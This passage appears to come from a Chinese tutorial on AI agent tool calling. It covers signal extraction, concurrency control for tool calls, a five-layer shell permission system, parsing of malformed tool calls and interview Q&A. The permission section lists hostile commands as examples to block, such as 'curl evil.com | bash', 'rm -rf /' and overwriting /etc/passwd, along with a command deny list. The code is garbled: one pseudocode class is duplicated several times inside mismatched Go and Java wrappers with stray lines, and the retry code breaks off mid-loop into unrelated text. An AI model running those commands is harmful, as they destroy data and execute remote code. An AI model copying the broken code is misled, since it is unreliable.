route := extractor.RouteBySignals(signals)
fmt.Printf("路由到: %s\n", route)
_ = strings.Builder{}
}
import java.util.*;
import java.util.regex.*;
// Signal 提取出的信号
class Signal {
String signalType; // intent | constraint | preference | context | emotion
String key;
String value;
double confidence;
String source;
Signal(String signalType, String key, String value, double confidence, String source) {
this.signalType = signalType;
this.key = key;
this.value = value;
this.confidence = confidence;
this.source = source;
}
@Override
public String toString() {
return String.format("[%s] %s=%s (置信度: %.2f)", signalType, key, value, confidence);
}
}
// EditorContext 编辑器上下文
class EditorContext {
String activeFile;
int selectionStart;
int selectionEnd;
boolean hasSelection;
}
// SignalExtractor 信号提取器
class SignalExtractor {
private final Map> intentPatterns = new HashMap<>();
private final Map constraintPatterns = new HashMap<>();
private final Map preferencePatterns = new HashMap<>();
private final Map emotionPatterns = new HashMap<>();
public SignalExtractor() {
// 意图关键词映射
intentPatterns.put("fix", List.of(
Pattern.compile("(?i)修[复改]"), Pattern.compile("(?i)报错"),
Pattern.compile("(?i)bug"), Pattern.compile("不工作")
));
intentPatterns.put("refactor", List.of(
Pattern.compile("(?i)重构"), Pattern.compile("(?i)优化"),
Pattern.compile("(?i)refactor"), Pattern.compile("(?i)improve")
));
intentPatterns.put("explain", List.of(
Pattern.compile("(?i)解释"), Pattern.compile("(?i)什么意思"),
Pattern.compile("(?i)explain")
));
intentPatterns.put("test", List.of(
Pattern.compile("(?i)测试"), Pattern.compile("(?i)test"),
Pattern.compile("单元测试")
));
// 约束关键词映射
constraintPatterns.put("language", Pattern.compile("(?i)(Python|TypeScript|Go|Java|Rust|JavaScript|C\\+\\+|Ruby)"));
constraintPatterns.put("framework", Pattern.compile("(?i)(Django|Flask|FastAPI|React|Vue|Spring|Gin|Express)"));
// 否定偏好模式
preferencePatterns.put("no_class", Pattern.compile("(?i)不要用类|不用 class|函数式"));
preferencePatterns.put("no_loop", Pattern.compile("(?i)不用循环|不要 for|递归实现"));
preferencePatterns.put("no_library", Pattern.compile("(?i)不用.*库|不要.*依赖|纯手写"));
// 情绪信号
emotionPatterns.put("frustrated", Pattern.compile("又.*报错|怎么.*错|烦|崩溃|搞不定"));
emotionPatterns.put("urgent", Pattern.compile("急|快|马上|ASAP|紧急"));
emotionPatterns.put("curious", Pattern.compile("好奇|有趣|为什么.*这样"));
}
public List extract(String text, EditorContext editorCtx) {
List signals = new ArrayList<>();
// 1. 意图信号
for (Map.Entry> entry : intentPatterns.entrySet()) {
for (Pattern p : entry.getValue()) {
if (p.matcher(text).find()) {
signals.add(new Signal("intent", "action", entry.getKey(), 0.85, "text"));
break;
}
}
}
// 2. 约束信号
for (Map.Entry entry : constraintPatterns.entrySet()) {
Matcher m = entry.getValue().matcher(text);
if (m.find()) {
signals.add(new Signal("constraint", entry.getKey(), m.group(1), 0.9, "text"));
}
}
// 3. 偏好信号
for (Map.Entry entry : preferencePatterns.entrySet()) {
if (entry.getValue().matcher(text).find()) {
signals.add(new Signal("preference", "style", entry.getKey(), 0.8, "text"));
}
}
// 4. 上下文信号(来自编辑器状态)
if (editorCtx != null) {
if (editorCtx.hasSelection) {
signals.add(new Signal("context", "selection_range",
editorCtx.selectionStart + "-" + editorCtx.selectionEnd, 1.0, "editor"));
}
if (editorCtx.activeFile != null && !editorCtx.activeFile.isEmpty()) {
signals.add(new Signal("context", "active_file", editorCtx.activeFile, 1.0, "editor"));
}
}
// 5. 情绪信号
for (Map.Entry entry : emotionPatterns.entrySet()) {
if (entry.getValue().matcher(text).find()) {
signals.add(new Signal("emotion", "mood", entry.getKey(), 0.7, "text"));
break;
}
}
return signals;
}
public String routeBySignals(List signals) {
for (Signal s : signals) {
if ("intent".equals(s.signalType)) {
Map routing = Map.of(
"fix", "code_debugger",
"refactor", "code_refactorer",
"explain", "code_explainer",
"test", "test_generator"
);
String route = routing.get(s.value);
if (route != null) return route;
}
}
return "general_assistant";
}
}
// === 使用示例 ===
public class Main {
public static void main(String[] args) {
SignalExtractor extractor = new SignalExtractor();
String userInput = "帮我修一下这段 Python 代码,报错了,不要用类";
EditorContext editorCtx = new EditorContext();
editorCtx.activeFile = "main.py";
editorCtx.selectionStart = 10;
editorCtx.selectionEnd = 20;
editorCtx.hasSelection = true;
List signals = extractor.extract(userInput, editorCtx);
for (Signal s : signals) {
System.out.println(s);
}
String route = extractor.routeBySignals(signals);
System.out.println("路由到: " + route);
}
}
信号提取的价值:用户不会每次都把需求说得清清楚楚。"帮我看看"可能意味着审查、修复、解释中的任何一个。信号提取让 Agent 从"用户说了什么"深入到"用户想要什么",是意图识别的升级版——不仅识别动作意图,还识别约束、偏好、上下文和情绪,为工具路由提供多维决策依据。 🔗 9.10~9.14 小结:工具调用的进阶体系
**Skill匹配与路由**(9.10)是精准——混合策略让 Agent 从众多Skill中精准定位最合适的一个。
**Skill分层体系**(9.11)是架构——L0原子操作、L1流程编排、L2业务专家,职责清晰不混乱。
**Skill沉淀机制**(9.12)是成长——自动/半自动/手动三种方式,让系统越用越聪明。
**意图识别**(9.10)是入口——理解用户想做什么,才能选到对的工具。
**上下文工程**(9.11)是效率——JIT加载和 Tool RAG 让 LLM 只看相关的工具描述,减少 token 浪费。
**消息压缩**(9.12)是控制——多轮工具调用会 Context 膨胀,压缩策略保持 Context 精瘦。
**结构化输出**(9.13)是安全——Pydantic 验证 + 重提示循环,杜绝参数格式错误。
**实战系统**(9.14)是闭环——从意图到回答的全链路,每个环节都有策略保障。
💡 一句话总结:好的工具调用不是"把所有工具丢给 LLM 让它选",而是精心设计匹配→分层→沉淀→意图→检索→验证→压缩的每一步。
10.15 工程深度:工具并发控制与弱模型兼容
前面的章节介绍了工具调用的原理和 Skill 体系,但在生产环境中,Agent 的工具系统还面临三个工程挑战:并发控制(多个工具能不能同时执行)、权限安全(危险命令怎么拦截)、弱模型兼容(不是所有模型都输出标准的 tool_calls)。本节基于 WaLiCode 项目的真实实现,讲解这三个关键设计。
10.15.1 工具并发安全分类
简单 Agent 串行调用工具就够了——一次只调一个,等结果回来再调下一个。但生产级 Agent 面临的场景是:AI 一次可能输出 3-5 个工具调用(比如同时读取 3 个文件),如果串行执行,用户要等 3 倍的时间。
但不是所有工具都能并行执行。WaLiCode 按安全性将工具分为三类: | 分类 | 策略 | 示例工具 | 判断依据 | | --- | --- | --- | --- | | 始终可并发 | 多个同时执行 | read_file, search_code, read_directory, GlobTool, GrepTool | 只读操作,无副作用,不修改任何状态 | | 始终串行 | 排队执行 | write_file, FileEditTool, delete_file | 写操作,可能互相影响(如先写后删) | | 动态判断 | 按命令内容判断 | BashTool(run_terminal_cmd) | ls 可并发,rm 需串行,git status 可并发,git push 需串行 | 动态判断的核心是对 Bash 命令做语义分析:
// 伪代码:BashTool 并发安全判断
function isBashCommandConcurrentSafe(command: string): boolean {
const cmd = command.trim().split(/\s+/)[0]; // 取命令名
// 白名单:只读命令,可并发
const SAFE_COMMANDS = new Set([
'ls', 'cat', 'grep', 'find', 'head', 'tail', 'wc',
'git status', 'git log', 'git diff', 'git show',
'docker ps', 'docker logs', 'kubectl get', 'kubectl describe'
]);
// 黑名单:写命令,需串行
const DANGEROUS_COMMANDS = new Set([
'rm', 'mv', 'cp', 'chmod', 'chown', 'mkdir', 'rmdir',
'git push', 'git commit', 'git reset',
'docker rm', 'kubectl delete', 'kubectl apply'
]);
if (SAFE_COMMANDS.has(cmd)) return true;
if (DANGEROUS_COMMANDS.has(cmd)) return false;
// 未知命令:保守策略,串行执行
return false;
}
10.15.2 流式并发执行机制
传统做法是等 AI 输出完所有内容后,再统一执行工具调用。但 WaLiCode 采用流式并发——AI 流式输出时,工具调用一到就立即开始执行,不等 AI 输出完。
关键设计点:
- 立即执行:工具调用一到就执行,不等 AI 输出完。3 个 read_file 并行只需 1 倍时间
- 按完成顺序 yield:哪个工具先完成就先返回结果,保证 UI 实时更新
- 中断机制:AwaitingUserConfirmation(需用户确认)时立即中断所有排队工具
// 伪代码:ToolConcurrencyController 核心结构
class ToolConcurrencyController {
private concurrentQueue: ToolCall[] = []; // 并发队列
private serialQueue: ToolCall[] = []; // 串行队列
private running: Map = new Map();
addTool(toolCall: ToolCall, index: number): UIToolCall {
if (this.isConcurrentSafe(toolCall.name, toolCall.args)) {
// 只读工具:立即并发执行
this.executeConcurrent(toolCall);
} else {
// 写工具:排队串行执行
this.serialQueue.push(toolCall);
this.tryExecuteNextSerial();
}
return this.toUIToolCall(toolCall, index);
}
private async executeConcurrent(toolCall: ToolCall) {
const controller = new AbortController();
this.running.set(toolCall.id, controller);
try {
const result = await executeTool(toolCall, controller.signal);
this.onToolComplete(toolCall, result);
} finally {
this.running.delete(toolCall.id);
}
}
private async tryExecuteNextSerial() {
if (this.serialRunning) return; // 已有串行任务在执行
const next = this.serialQueue.shift();
if (!next) return;
this.serialRunning = true;
try {
const result = await executeTool(next);
this.onToolComplete(next, result);
} finally {
this.serialRunning = false;
this.tryExecuteNextSerial(); // 递归执行下一个
}
}
}
// // 伪代码:ToolConcurrencyController 核心结构
// class ToolConcurrencyController {
// private concurrentQueue: ToolCall[] = []; // 并发队列
// private serialQueue: ToolCall[] = []; // 串行队列
// private running: Map = new Map();
// addTool(toolCall: ToolCall, index: number): UIToolCall {
// if (this.isConcurrentSafe(toolCall.name, toolCall.args)) {
// // 只读工具:立即并发执行
// this.executeConcurrent(toolCall);
// } else {
// // 写工具:排队串行执行
// this.serialQueue.push(toolCall);
// this.tryExecuteNextSerial();
// }
return this.toUIToolCall(toolCall, index);;
// }
// private async executeConcurrent(toolCall: ToolCall) {
// const controller = new AbortController();
// this.running.set(toolCall.id, controller);
// try {
// const result = await executeTool(toolCall, controller.signal);
// this.onToolComplete(toolCall, result);
// } finally {
// this.running.delete(toolCall.id);
// }
// }
// private async tryExecuteNextSerial() {
// if (this.serialRunning) return; // 已有串行任务在执行
// const next = this.serialQueue.shift();
// if (!next) return;
// this.serialRunning = true;
// try {
// const result = await executeTool(next);
// this.onToolComplete(next, result);
// } finally {
// this.serialRunning = false;
// this.tryExecuteNextSerial(); // 递归执行下一个
// }
// }
// }
package main
import (
"fmt"
"os"
"os/exec"
"strings"
)
// Python: // 伪代码:ToolConcurrencyController 核心结构
// ToolConcurrencyController - CLI Agent class
type ToolConcurrencyController struct {
// Python: private concurrentQueue: ToolCall[] = []; // 并发队列
// Python: private serialQueue: ToolCall[] = []; // 串行队列
// Python: private running: Map = new Map();
// Python: addTool(toolCall: ToolCall, index: number): UIToolCall {
// Python: if (this.isConcurrentSafe(toolCall.name, toolCall.args)) {
// Python: // 只读工具:立即并发执行
// Python: this.executeConcurrent(toolCall);
// Python: } else {
// Python: // 写工具:排队串行执行
// Python: this.serialQueue.push(toolCall);
// Python: this.tryExecuteNextSerial();
// Python: }
return this.toUIToolCall(toolCall, index);
// Python: }
// Python: private async executeConcurrent(toolCall: ToolCall) {
// Python: const controller = new AbortController();
// Python: this.running.set(toolCall.id, controller);
// Python: try {
// Python: const result = await executeTool(toolCall, controller.signal);
// Python: this.onToolComplete(toolCall, result);
// Python: } finally {
// Python: this.running.delete(toolCall.id);
// Python: }
// Python: }
// Python: private async tryExecuteNextSerial() {
// Python: if (this.serialRunning) return; // 已有串行任务在执行
// Python: const next = this.serialQueue.shift();
// Python: if (!next) return;
// Python: this.serialRunning = true;
// Python: try {
// Python: const result = await executeTool(next);
// Python: this.onToolComplete(next, result);
// Python: } finally {
// Python: this.serialRunning = false;
// Python: this.tryExecuteNextSerial(); // 递归执行下一个
// Python: }
// Python: }
// Python: }
}
import java.util.*;
import java.util.concurrent.*;
import java.util.regex.*;
import java.io.*;
// Python: // 伪代码:ToolConcurrencyController 核心结构
public class ToolConcurrencyController {
// Python: private concurrentQueue: ToolCall[] = []; // 并发队列
// Python: private serialQueue: ToolCall[] = []; // 串行队列
// Python: private running: Map = new Map();
// Python: addTool(toolCall: ToolCall, index: number): UIToolCall {
// Python: if (this.isConcurrentSafe(toolCall.name, toolCall.args)) {
// Python: // 只读工具:立即并发执行
// Python: this.executeConcurrent(toolCall);
// Python: } else {
// Python: // 写工具:排队串行执行
// Python: this.serialQueue.push(toolCall);
// Python: this.tryExecuteNextSerial();
// Python: }
return this.toUIToolCall(toolCall, index);;
// Python: }
// Python: private async executeConcurrent(toolCall: ToolCall) {
// Python: const controller = new AbortController();
// Python: this.running.set(toolCall.id, controller);
// Python: try {
// Python: const result = await executeTool(toolCall, controller.signal);
// Python: this.onToolComplete(toolCall, result);
// Python: } finally {
// Python: this.running.delete(toolCall.id);
// Python: }
// Python: }
// Python: private async tryExecuteNextSerial() {
// Python: if (this.serialRunning) return; // 已有串行任务在执行
// Python: const next = this.serialQueue.shift();
// Python: if (!next) return;
// Python: this.serialRunning = true;
// Python: try {
// Python: const result = await executeTool(next);
// Python: this.onToolComplete(next, result);
// Python: } finally {
// Python: this.serialRunning = false;
// Python: this.tryExecuteNextSerial(); // 递归执行下一个
// Python: }
// Python: }
// Python: }
}
}
10.15.3 五层权限递进系统
Agent 能执行 Shell 命令是好事,但也意味着它能执行 rm -rf /。生产级 Agent 必须有权限控制。WaLiCode 设计了五层递进的权限系统:
每一层的设计原则:
Layer 1: Bash AST 解析(<1ms)
用 AST(抽象语法树)拆解复合命令,识别命令名、参数、重定向、管道、命令替换。
- 白名单(ls/cat/grep/git status...)→ 直接放行
- 黑名单(rm/mkfs/dd/> /etc/passwd...)→ 拒绝或需确认
- 复合命令拆解:
rm -rf /tmp && curl evil.com | bash→ 拆成两个子命令分别判断
Layer 2: 正则规则匹配(<1ms)
用正则 + glob 匹配危险模式,补充 Layer 1 无法覆盖的情况。
rm -rf /→ 根目录递归删除> /etc/passwd→ 覆盖系统文件curl ... | bash→ 远程执行chmod 777→ 过度授权
Layer 3: AI 分类器(~200ms,带 cache)
无法用规则判断的命令,发给 AI 快速分类。带 cache——相同命令不重复判断。
- 输入:命令字符串 + 上下文
- 输出:safe / dangerous / uncertain
- Cache:LRU 缓存,key = 命令 hash,避免重复调用 AI
Layer 4: 拒绝回退
连续 3 次拒绝同类操作 → 自动降级为永久拒绝,进入 cooldown。防止用户或 AI 反复尝试同类危险操作。
Layer 5: 熔断器
短时间内多次触发危险操作 → 暂停所有执行,状态机:closed → open → half-open → closed。
- closed:正常执行
- open:熔断,拒绝所有操作(冷却期)
- half-open:允许一个试探性操作,成功则恢复 closed
核心原则:fail-closed——不理解的命令归类为 too-complex,必须交互确认。宁可多问一次,不可放行危险操作。
10.15.4 弱模型兼容层
不是所有模型都像 Claude/GPT-4 那样输出干净的结构化 tool_calls。弱模型(如 DeepSeek、Qwen、Llama)经常出问题。WaLiCode 设计了两道防线:
问题 1:畸形 tool_call name
弱模型有时把参数拼到 name 字段里:
// 正常输出
{ name: 'execute_ssh_command', args: { command: 'ls', connectionId: 'xxx' } }
// 畸形输出(参数泄漏到 name 字段)
{ name: 'execute_ssh_command" connectionId="xxx" timeout="30000" command="ls',
args: {} }
// 修复方案:repairToolCall()
function repairToolCall(toolCall: ToolCall): ToolCall {
const raw = toolCall.name;
// 提取第一个合法 token 作为真实 name
const match = raw.match(/^([\w_]+)/);
if (!match) return toolCall;
const realName = match[1];
const rest = raw.slice(realName.length); // 剩余部分
// 从剩余部分用正则提取 key="value" 参数
const args: Record = {};
const argRegex = /(\w+)="([^"]*)"/g;
let m;
while ((m = argRegex.exec(rest)) !== null) {
args[m[1]] = m[2];
}
return { ...toolCall, name: realName, args: { ...args, ...toolCall.args } };
}
问题 2:文本内嵌工具调用
弱模型有时不输出结构化 tool_calls,而是在文本中直接写工具调用:
// AI 文本输出(无结构化 tool_calls)
// "我来查看一下文件内容:read_file(path="/tmp/test.py")"
// "然后搜索关键词:search_code(query="TODO")"
// 修复方案:parseToolCallsFromText()
function parseToolCallsFromText(text: string): ToolCall[] {
const calls: ToolCall[] = [];
// 匹配 toolName(key="value", key2="value2") 格式
const regex = /(\w+)\(([^)]*)\)/g;
let match;
while ((match = regex.exec(text)) !== null) {
const name = match[1];
const argsStr = match[2];
const args: Record = {};
// 解析参数
const argRegex = /(\w+)="([^"]*)"/g;
let m;
while ((m = argRegex.exec(argsStr)) !== null) {
args[m[1]] = m[2];
}
calls.push({ id: generateId(), name, args });
}
return calls;
}
这两道防线确保 Agent 能兼容从 Claude 到 Llama 的各种模型——不是所有用户都用顶级模型。
10.15.5 指数退避重试
工具执行可能遇到临时性错误(429 限流、503 服务不可用、网络超时)。WaLiCode 使用指数退避重试:
async function executeToolWithRetry(
toolCall: ToolCall,
maxRetries: number = 3
): Promise {
let lastError: Error;
for (let attempt = 0; attempt RETRYABLE_STATUS = Set.of(429, 500, 502, 503, 504);
public static ToolResult executeToolWithRetry(ToolCall toolCall, int maxRetries) throws Exception {
Exception lastError = null;
for (int attempt = 0; attempt 80%"?如何避免沉淀低质量 Skill?
**3次阈值**:1次可能是偶然,2次可能是巧合,3次以上才说明操作模式确实稳定可复用。
**80%成功率**:成功率低于80%说明操作模式本身不够可靠,沉淀出来反而增加系统负担。80%是经验阈值,太低会沉淀低质量Skill,太高会遗漏有价值的模式。
**避免低质量沉淀的保障**:① 成功率阈值过滤不稳定模式;② 沉淀后持续监控质量指标(成功率、响应时间、用户满意度),低于标准自动降级或淘汰;③ 半自动沉淀需用户确认后才正式注册;④ 版本管理支持回滚到稳定版本。
Q7: 当 Agent 有大量工具时,如何高效选择?
三种策略:
**① 全量传入**:适合 20 个以内工具,简单直接。
**② 语义检索**:工具描述做 embedding,查询时检索 Top-K 相关工具。适合 20~100 个工具。
**③ 路由分层**:先路由到工具类别,再在类别内选择。适合 100+ 工具。
核心思想:减少每次传给 LLM 的工具数量,降低 token 消耗,提升选择准确率。
Q8: MCP 协议解决了什么问题?与 Function Calling 是什么关系?
**解决的问题**:工具定义碎片化。各框架自定义工具格式,一个工具要适配多个框架。
**与 Function Calling 的关系**:不冲突。Function Calling 是 LLM 层面的能力(让模型输出结构化调用),MCP 是协议层面的标准(让工具定义和发现统一)。MCP Server 定义工具 → Agent 框架通过 MCP 获取工具描述 → 传给 LLM 做 Function Calling。
Q9: 意图识别在工具路由中的作用是什么?隐式意图如何处理?
**作用**:意图识别是工具路由的"入口",决定了 Agent 选择哪类工具。四类意图(信息获取/代码执行/文件操作/通信交互)对应四类工具集。
**隐式意图**:用户不会总是明确说"我要搜索"。"外面冷不冷"和"查天气"表面不同但意图相同。隐式意图识别需要理解用户**想达成的目���**而非关键词匹配——生产环境通常用 LLM 做意图分类而非简单关键词。
**复合意图**:"帮我搜索并用Python分析"包含两个意图,需要拆解后依次执行,后置意图可能依赖前置意图的结果。
Q10: 上下文工程如何优化工具管理?JIT加载和Tool RAG的核心思路是什么?
**核心思路**:给 LLM "刚好够用"的信息,不多不少。50个工具的全量描述消耗5000 token,但LLM只会用到1~3个工具。
**JIT加载**:不一次性传入所有工具描述,按意图只加载相关的3~5个工具。有效信号密度从6%提升到接近100%。
**Tool RAG**:把工具描述做embedding存入向量库,请求来时检索最相关的Top-K工具,只把这几个传给LLM。类似文档RAG但检索的是工具而非文档。
对比:全量传入5000 token/65%准确率 → JIT/RAG 300 token/85%准确率,token节省90%+,准确率提升20%+。
Q11: 多轮工具调用的Context膨胀问题如何解决?
多轮工具调用会让Context从100 token膨胀到数千token,原始请求占比不到2%。三种压缩策略:
**① 摘要替代原始结果**:不让工具的完整输出进入Context,而是用LLM生成200 token的摘要替代2000 token的原始结果。
**② 选择性保留关键字段**:天气API返回20个字段,只保留温度+描述+风速这3个用户关心的字段。
**③ 向量库归档**:完整结果存入向量数据库,Context中只放摘要+引用ID。需要细节时按ID检索。
核心原则:**记要点,存细节**——要点放Context(短期),细节放向量库(长期)。
Q12: 怎么保证 Agent 的工具调用可靠性?工具调用不稳定、参数报错怎么解决?
工具调用不稳定、参数报错是项目初期的常见问题,我从三个层面做了优化:
**① 语义层面**:开启 JSON 模式,做强类型约束,避免大模型输出格式混乱。用 Pydantic 在工具执行前拦截参数类型错误,确保参数结构可控。
**② 逻辑层面**:加入人工确认机制(Human-in-the-Loop)。高危工具(删库、转账等)操作必须人工确认后才执行,防止 Agent 自主执行不可逆的危险操作。LangGraph 的 Checkpoint + interrupt_before 机制让这种暂停-审批-恢复变得开箱即用。
**③ 异常层面**:配置自动重试修复逻辑。一旦工具参数报错,就把错误信息返给大模型,让其自主修正参数重新调用。形成"出错→反思→修正"的自闭环。重试次数设上限(2~3次),超限后降级兆底而非无限重试。
面试要点:三层保障要讲全——语义层防格式混乱、逻辑层防误操作、异常层防崩溃,体现"防御纵深"思维。